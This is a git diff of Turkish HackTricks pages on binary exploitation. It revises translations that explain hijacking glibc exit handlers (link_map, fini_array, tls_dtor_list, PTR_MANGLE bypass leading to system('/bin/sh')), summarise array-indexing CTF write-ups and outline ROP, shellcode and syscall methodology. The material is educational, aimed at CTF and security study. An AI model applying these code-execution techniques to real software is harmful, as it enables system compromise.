Bu nasıl çalıştığını ayrıntılı olarak [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) adresinde bulabilirsiniz.
## link\_map
@ -58,16 +59,16 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Not: `map -> l_addr + fini_array -> d_un.d_ptr`'nin **hesaplanmasında** nasıl kullanıldığına dikkat edin.
Not: `map -> l_addr + fini_array -> d_un.d_ptr`'ın konumunu **hesaplamak** için nasıl kullanıldığına dikkat edin.
Birkaç **seçenek** bulunmaktadır:
* `map->l_addr` değerini üzerine yazarak, talimatları yürütmek için sahte bir `fini_array`'ya işaret edecek şekilde yapay bir `fini_array` oluşturun
* Bellekte daha çok ardışık olan `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini üzerine yazarak, tekrar **`array`'ın bir hafıza bölgesine işaret etmesini sağlayacak** sahte bir `Elf64_Dyn` yapısına işaret edin.&#x20;
* [**Bu yazıda**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` üzerine, sahte bir `fini_array` içeren `.bss`'deki kontrol edilen bir bellek adresiyle üzerine yazılır. Bu sahte dizi önce yürütülecek olan bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresini** içerir ve ardından bu **sahte dizi**nin adresi ile `map->l_addr`'ın değeri arasındaki **fark** böylece `*array` sahte diziye işaret eder.
* Bu tekniğin ana yazısına ve [**bu yazıya**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre ld.so, ld.so'da bir binary `link_map`'e işaret eden bir işaretçi bırakır. Bir keyfi yazı ile üzerine yazarak, saldırgan tarafından kontrol edilen sahte bir `fini_array`'ya işaret edecek şekilde üzerine yazılabilir ve örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresine işaret edebilirsiniz.
* `map->l_addr` değerini üzerine yazarak, yürütülecek keyfi kod talimatları içeren sahte bir `fini_array`'ya işaret etmesini sağlamak
* Bellekte daha çok ardışık olan `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini üzerine yazarak, yine **`array`'ın** saldırganın kontrol ettiği bir bellek bölgesine işaret etmesini sağlayacak sahte bir `Elf64_Dyn` yapısına işaret etmelerini sağlamak.
* [**Bu yazıda**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]`'ı `.bss` içindeki sahte bir `fini_array` içeren kontrol edilen bellek adresiyle üzerine yazıyor. Bu sahte dizi önce yürütülecek bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresini içerir ve ardından bu **sahte dizi**nin adresi ile `map->l_addr`'ın değeri arasındaki **fark** ve böylece `*array` sahte diziye işaret eder.
* Bu tekniğin ana yazısına ve [**bu yazıya**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre ld.so, ld.so'da binary `link_map`'e işaret eden bir işaretçi bırakır. Keyfi yazma ile üzerine yazarak, saldırganın kontrol ettiği sahte bir `fini_array`'a işaret eden ve örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresine işaret eden bu işaretçiyi yapabilirsiniz.
Önceki kodu takip ederek, kodun başka ilginç bir bölümünü bulabilirsiniz:
Önceki kodun devamında, ilginç bir bölüm daha bulabilirsiniz:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
@ -75,11 +76,11 @@ if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Bu durumda, `map->l_info[DT_FINI]` değerinin üzerine yazılabilir ve sahte bir `ElfW(Dyn)` yapısına işaret edilebilir. [**Daha fazla bilgi için buraya bakabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
Bu durumda, `map->l_info[DT_FINI]` değerinin üzerine yazılması mümkün olacaktır ve sahte bir `ElfW(Dyn)` yapısına işaret edilecektir. [**Daha fazla bilgi için buraya bakabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## TLS-Depolama dtor\_list üzerine yazma işlemi **`__run_exit_handlers`** içinde
Eğer bir program `return` veya `exit()` ile sonlandırılırsa, **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır ve kayıtlı olan herhangi bir yıkıcı fonksiyonu çağıracaktır.
Eğer bir program `return` veya `exit()` ile çıkış yaparsa, **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır ve kayıtlı olan herhangi bir yıkıcı fonksiyonu çağıracaktır.
_run_exit_handlers() fonksiyonundan gelen kod:
```c
@ -127,12 +128,12 @@ func (cur->obj);
}
}
```
**`tls_dtor_list`**'te kayıtlı her işlev için, **`cur->func`** işaretçisini açacak ve **`cur->obj`** argümanı ile çağıracaktır.
Her bir kayıtlı fonksiyon için **`tls_dtor_list`** içindeki işaretçiyi **`cur->func`**'dan çözer ve **`cur->obj`** argümanı ile çağırır.
Bu [**GEF'in bu çatalından**](https://github.com/bata24/gef) **`tls`** işlevini kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR\_MANGLE cookie**'ye çok **yakın** olduğunu görmek mümkündür. Bu nedenle, üzerine bir taşma olduğunda **cookie** ve **stack canary**'yi **üzerine yazmak** mümkün olacaktır.\
PTR\_MANGLE cookie üzerine yazıldığında, bunu 0x00 olarak ayarlayarak **`PTR_DEMANLE` işlevini atlayabilir** ve gerçek adresi elde etmek için kullanılan **`xor`**'un sadece yapılandırılmış adres olduğu anlamına gelir. Ardından, **`dtor_list`** üzerine yazarak, işlev **adresi** ve **argümanı** ile birkaç işlevi **zincirlemek** mümkündür.
Bu [**GEF'in bu çatalından**](https://github.com/bata24/gef) **`tls`** fonksiyonunu kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR\_MANGLE cookie**'ye çok **yakın** olduğunu görmek mümkündür. Bu nedenle, üzerine taşma gerçekleştirilirse **cookie** ve **stack canary**'yi **üzerine yazmak** mümkün olacaktır.\
PTR\_MANGLE cookie üzerine yazıldığında, bunu 0x00 olarak ayarlayarak **`PTR_DEMANLE` fonksiyonunu atlayabilir** ve gerçek adresi elde etmek için kullanılan **`xor`** sadece yapılandırılmış adres olacaktır. Ardından, **`dtor_list`** üzerine yazarak, fonksiyon **adresi** ve **argümanı** ile birkaç fonksiyonu **zincirleme** olasılığı vardır.
Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tutulmayacağı, aynı zamanda 17 bit döndürüleceğine dikkat edin:
Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tutulmayacağını, aynı zamanda 17 bit döndürüleceğini unutmayın:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
@ -140,13 +141,13 @@ Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tut
```
Yeni bir adres eklemeden önce bunu dikkate almanız gerekmektedir.
Örnek bir öğeyi [**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) bulun.
Örnek bulun: [**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
## **`__run_exit_handlers`** içindeki Diğer bozulmuş işaretçiler
## Diğer bozulmuş işaretçiler **`__run_exit_handlers`** içinde
Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) ve yine programın `return` veya `exit()` çağrısı yaparak sonlandırılması durumuna bağlıdır, böylece **`__run_exit_handlers()`** çağrılır.
Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) ve yine programın **`return` veya `exit()` çağrısı yaparak çıkması** ve dolayısıyla **`__run_exit_handlers()`** fonksiyonunun çağrılmasına bağlıdır.
Bu işlevin daha fazla kodunu kontrol edelim:
Bu fonksiyonun daha fazla kodunu kontrol edelim:
```c
while (true)
{
@ -228,11 +229,11 @@ free (cur);
__libc_lock_unlock (__exit_funcs_lock);
```
Değişken `f`, **`initial`** yapısına işaret eder ve `f->flavor` değerine bağlı olarak farklı fonksiyonlar çağrılacaktır.\
Değerine bağlı olarak, çağrılacak fonksiyonun adresi farklı bir yerde olacak, ancak her zaman **demangled** olacaktır.
Değerine bağlı olarak çağrılacak fonksiyonun adresi farklı bir yerde olacak, ancak her zaman **demangled** olacaktır.
Ayrıca, **`ef_on`** ve **`ef_cxa`** seçeneklerinde bir **argümanı** kontrol etmek de mümkündür.
Hata ayıklama oturumunda **GEF** çalışırken **`gef> p initial`** komutu ile **`initial` yapısı** kontrol edilebilir.
Hata ayıklama oturumunda **`gef> p initial`** komutunu çalıştırarak **`initial` yapısını** kontrol etmek mümkündür.
Bunu kötüye kullanmak için ya **`PTR_MANGLE`** cookie'sini **sızdırmanızı veya silmeniz** ve ardından `initial` içindeki bir `cxa` girdisini `system('/bin/sh')` ile üzerine yazmanız gerekir.\
Bu tekniğe ilişkin bir örneği [**orijinal blog yazısında bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Bunu kötüye kullanmak için ya **`PTR_MANGLE`cookie**'yi sızdırmanız ya da silmeniz ve ardından `initial` içindeki bir `cxa` girdisini `system('/bin/sh')` ile üzerine yazmanız gerekir.\
Bu tekniğe ilişkin bir örneği [**orijinal teknik hakkındaki blog yazısında**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) bulabilirsiniz.

View file

@ -1,18 +1,19 @@
# Dizi İndeksleme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
@ -21,10 +22,10 @@ Bu kategori, dizilerdeki indekslerin işlenmesindeki hatalar nedeniyle belirli v
Ancak burada bazı güzel **örnekler** bulabilirsiniz:
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
* Verilerin depolandığı **adresler** için bir tane ve o verilerin **boyutları** için bir tane olmak üzere **2 çakışan dizi** bulunmaktadır. Birinden diğerine üzerine yazma yapmak mümkündür, bu da rastgele bir adresi boyut olarak belirterek yazmayı sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından onu `system` adresiyle üzerine yazmayı ve hafızadan `/bin/sh` ile çağırmayı mümkün kılar.
* **2 çakışan dizi** bulunmaktadır, biri verilerin depolandığı **adresler** için diğeri ise o verilerin **boyutları** için. Birinden diğerini üzerine yazmak mümkündür, bu da rastgele bir adresi boyut olarak belirlemeyi sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından onu `system` adresiyle üzerine yazmayı ve hafızadan `/bin/sh` ile free'yi çağırmayı mümkün kılar.
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
* 64 bit, nx yok. Bir boyutu üzerine yazarak her şeyin çift sayı olarak kullanılacağı ve en küçükten en büyüğe sıralanacağı bir tür tampon taşmasını elde etmek mümkündür, bu nedenle bu gereksinimi karşılayan bir kabuk kodu oluşturmak gereklidir. Ayrıca, canary'nin konumundan hareket ettirilmemesi gerektiğini ve son olarak RIP'nin bir ret adresiyle üzerine yazılması gerektiğini ve bu gereksinimleri karşılayan ve yığının başlangıcına işaret eden yeni bir adresin en büyük adresi eklenmesi gerektiğini unutmamak gerekir (program tarafından sızdırılan). Bu şekilde ret'in oraya atlaması mümkün olacaktır.
* 64 bit, nx yok. Bir boyutu üzerine yazarak her şeyin çift sayı olarak kullanılacağı ve en küçükten en büyüğe doğru sıralanacağı bir tür tampon taşmasını geçmek için gereken bir kabuk kodu oluşturulması gerekmektedir, bu gereksinimi karşılayan bir adresle RIP'nin üzerine yazılması gerekmektedir ve en büyük adresin, yığının başlangıcına işaret eden yeni bir adresle değiştirilmesi gerekmektedir (program tarafından sızdırılan). Son olarak, sızdırılan adresi kullanarak GOT'ta put adresini sızdırmak için bir ROP zinciri kullanılır (`exit` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır.
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
* 64 bit, relro yok, canary yok, nx yok, pie yok. Yığında bir dizide bir tane fazla olan bir hata vardır ve bu, bir işaretçiyi kontrol etmeyi sağlar ve bu işaretçi, dizideki fazla olan bir hata tarafından üzerine yazılan adreslerin toplamını yazmaktadır. Yığın kontrol edilir, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (`main`'e geri dönüş yapılır). Ardından, puts kullanarak GOT'taki adresin sızdırılması için bir ROP zinciri kullanılır (`exit` çağrılacak, bu nedenle `pop rdi; ret` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır.
* 64 bit, relro yok, canary yok, nx yok, pie yok. Yığında bir dizide bir tane fazla olan bir hata vardır ve bu, bir işaretçiyi kontrol etmeyi sağlar ve yığın, dizideki fazla olan bir hata tarafından üzerine yazılan adresin tüm sayıların toplamını yazdığı bir adresi kontrol eder. Yığın kontrol edilir, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (`main`'e geri dönülür). GOT'ta put adresini sızdırmak için puts kullanılarak bir ROP zinciri kullanılır (`exit` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, relro yok, canary yok, nx yok, pie yok. Bir kötü indeksleme kullanarak libc ve yığın adreslerini sızdırmak mümkündür. Tampon taşmasını kötüye kullanarak `system('/bin/sh')` çağrısı yapmak için ret2lib kullanılır (bir kontrolü atlatmak için yığın adresine ihtiyaç vardır).
* 32 bit, relro yok, canary yok, nx yok, pie yok. Bir kötü indeksleme kullanarak libc ve yığın adreslerini sızdırmak için kötüye kullanma yapılır. Tampon taşmasını kötüye kullanarak `system('/bin/sh')` çağıran bir ret2lib yapısı oluşturulur (bir kontrolü atlamak için yığın adresine ihtiyaç duyulur).

View file

@ -1,18 +1,19 @@
# Temel İkili Sömürü Metodolojisi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>
{% endhint %}
## ELF Temel Bilgileri
@ -30,16 +31,16 @@ Herhangi bir şeyi sömürmeye başlamadan önce bir **ELF ikilisinin** yapısı
## Yığın Taşması Metodolojisi
Bu kadar teknikle, her tekniğin ne zaman kullanışlı olacağını belirlemek iyi olabilir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları atlatmanın yollarını bulabilirsiniz, ancak bu metodolojide değil.
Bu kadar teknikle, her tekniğin ne zaman kullanışlı olacağını belirlemek için bir plana sahip olmak iyidir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları atlatma yollarını bulabilirsiniz, ancak bu metodolojide değil.
## Akışı Kontrol Etme
Bir programın akışını kontrol etmenin farklı yolları vardır:
Bir programın akışını kontrol etmenin farklı yolları olabilir:
* [**Yığın Taşmaları**](../stack-overflow/): Yığını veya EBP -> ESP -> EIP'den dönüş işaretçisini üzerine yazarak.
* [**Yığın Taşmaları**](../stack-overflow/): Yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi üzerine yazarak.
* Taşmayı tetiklemek için bir [**Tamsayı Taşmaları**](../integer-overflow.md) kullanmanız gerekebilir
* Veya **Keyfi Yazma + Ne Nerede Yazma ile Yürütme**
* [**Biçim dizeleri**](../format-strings/)**:** `printf`'i kötüye kullanarak keyfi içeriği keyfi adreslere yazmak.
* [**Biçim Dizileri**](../format-strings/)**:** `printf`'i kötüye kullanarak keyfi içeriği keyfi adreslere yazmak.
* [**Dizi İndeksleme**](../array-indexing.md): Kötü tasarlanmış bir dizinlemeyi kötüye kullanarak bazı dizileri kontrol edebilir ve keyfi yazma alabilirsiniz.
* Taşmayı tetiklemek için bir [**Tamsayı Taşmaları**](../integer-overflow.md) kullanmanız gerekebilir
* **bof to WWW via ROP**: Bir tampon taşmasını kötüye kullanarak bir ROP oluşturmak ve bir WWW almak için.
@ -52,69 +53,69 @@ Bir programın akışını kontrol etmenin farklı yolları vardır:
## Sonsuz Döngüler
Dikkate alınması gereken bir şey genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**, özellikle bazı korumaların atlatılması gerekebilir. Bu nedenle, **bir zafiyeti aynı ikili yürütmede birkaç kez sömürülebilir hale getirmek için bazı seçenekleri** tartışmak ilginç olabilir:
Dikkate alınması gereken bir şey genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**, özellikle bazı korumaların atlatılması gerekebilir. Bu nedenle, **bir zafiyeti aynı ikili çalıştırmada birkaç kez sömürülebilir hale getirmek için bazı seçenekleri** tartışmak ilginçtir:
* Bir **ROP** zincirine **`main` işlevinin adresini** veya **zafiyetin meydana geldiği adrese** yazın.
* Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm işlemleri gerçekleştirebilirsiniz
* **`exit` adresini GOT'a yazın** (veya bitmeden önce ikili tarafından kullanılan başka bir işlev) **zafiyete geri dönmek için** adresi.
* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**'de açıklandığı gibi**, buraya 2 işlev saklayın, biri zafiyeti tekrar çağırmak için diğeri ise `.fini_array`'dan işlevi tekrar çağıracak olan**`__libc_csu_fini`**'yi çağırmak için.
* Uygun bir ROP zincirini kontrol ederek o zincirdeki tüm işlemleri gerçekleştirebilirsiniz
* **`exit` adresini GOT'a** (veya bitmeden önce ikili tarafından kullanılan başka bir işlev) **zafiyete geri dönmek için adresi yazın**
* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**'de açıklandığı gibi,** buraya 2 işlev saklayın, biri zafiyeti tekrar çağırmak için diğeri ise `.fini_array`'dan işlevi tekrar çağıracak olan**`__libc_csu_fini`**'yi çağırmak için.
## Sömürü Hedefleri
### Hedef: Varolan bir işlevi çırmak
### Hedef: Varolan bir işlevi Çırmak
* [**ret2win**](./#ret2win): Çağırmanız gereken bir işlev (belki belirli parametrelerle) kodda bulunmaktadır ve bayrağı almak için çağırmanız gerekmektedir.
* [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmadan** ve [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) ile bir bof'ta, yığında depolanan dönüş adresine adresi yazmanız yeterli olacaktır.
* [**ret2win**](./#ret2win): Çağırmanız gereken bir işlev var (belki belirli parametrelerle) bayrağı almak için.
* [**PIE**](../common-binary-protections-and-bypasses/pie/) olmadan ve [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olmadan düzenli bir bof'ta, yığında depolanan dönüş adresine adresi yazmanız yeterli olacaktır.
* [**PIE**](../common-binary-protections-and-bypasses/pie/) ile bir bof'ta, bunu atlatmanız gerekecektir
* [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) ile bir bof'ta, bunu atlatmanız gerekecektir
* **ret2win** işlevini doğru çağırmak için birden fazla parametre ayarlamanız gerekiyorsa şunları kullanabilirsiniz:
* **Yeterli sayıda araç varsa bir [**ROP**](./#rop-and-ret2...-techniques) zinciri** tüm parametreleri hazırlamak için
* **ret2win** işlevini doğru şekilde çağırmak için birden fazla parametre ayarlamanız gerekiyorsa şunları kullanabilirsiniz:
* **Yeterli sayıda** kısayol varsa [**ROP**](./#rop-and-ret2...-techniques) **zinciri tüm parametreleri hazırlamak için**
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu sistem çağrısını yapabiliyorsanız) birçok kaydı kontrol etmek için
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 'dan araçlar birçok kaydı kontrol etmek için
* Bir [**Ne Nerede Yazma**](../arbitrary-write-2-exec/) ile diğer zafiyetleri (bof olmayanlar) kötüye kullanarak **`win`** işlevini çağırabilirsiniz.
* [**İşaretçileri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığında, çağrılacak bir işlevin işaretçilerini veya bir işlev tarafından kullanılacak bir dizeye işaret eden işaretçiler varsa, o adresi üzerine yazabilirsiniz.
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 'dan kısayolları kontrol etmek için
* Bir [**Ne Nerede Yazma**](../arbitrary-write-2-exec/) ile başka zafiyetleri (bof olmayanlar) kötüye kullanarak **`win`** işlevini çağırabilirsiniz.
* [**İşaretçileri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir işlevin işaretçilerini veya bir işlev tarafından kullanılacak bir dizeye işaret ediyorsa (system veya printf gibi), o adresi üzerine yazabilirsiniz.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir.
* [**İlklenmemiş değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz.
### Hedef: Uzaktan Kod Yürütme (RCE)
#### Nx devre dışı bırakılmışsa veya shellcode ile ROP karıştırılıyorsa:
#### Nx devre dışı bırakılmışsa veya kodu karıştırarak shellcode ile:
* [**(Yığın) Shellcode**](./#stack-shellcode): Bu, bir shellcode'u yığında depolamak ve ardından dönüş işaretçisini üzerine yazdıktan sonra ona atlamak ve çalıştırmak için kullanışlıdır:
* **Her durumda, bir** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** varsa**, düzenli bir bof'ta bunu atlatmanız gerekecektir
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **olmadan**, yığının adresine atlamak mümkündür çünkü asla değişmeyecektir
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, buna atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacaktır
* [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **ile**, bir [**ROP**](../rop-return-oriented-programing/) kullanarak **`memprotect`'ı çağırmak** ve bazı sayfaları `rwx` yapmak için gerekecektir, ardından oraya **shellcode'u depolamak** (örneğin okuma çağırarak) ve ardından oraya atlamak.
* **Her durumda, bir** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** varsa,** düzenli bir bof'ta bunu atlatmanız (sızdırmanız) gerekecektir
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığının adresine atlamak mümkündür çünkü asla değişmeyecektir
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacaktır
* [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, birkaç [**ROP**](../rop-return-oriented-programing/) kullanmanız gerekecektir **`memprotect`'ı çağırmak** ve bazı sayfaları `rwx` yapmak için, ardından oraya **shellcode'u depolamak** (örneğin okuma çağırarak) ve ardından oraya atlamak için.
* Bu, shellcode'u bir ROP zinciri ile karıştıracaktır.
#### Syscall ile
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Herhangi bir komutu çalıştırmak için `execve`'yi çağırmak için kullanışlıdır. **Belirli bir syscall'ı parametrelerle çağırmak için gerekli olan gadget'ları bulabilmelisiniz**.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ROP gadget'larını kullanabilmek için bunları **geçmek zorundasınız**.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi hazırlamak için** faydalı olabilir
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları, çeşitli register'ları kontrol etmek için kullanışlıdır
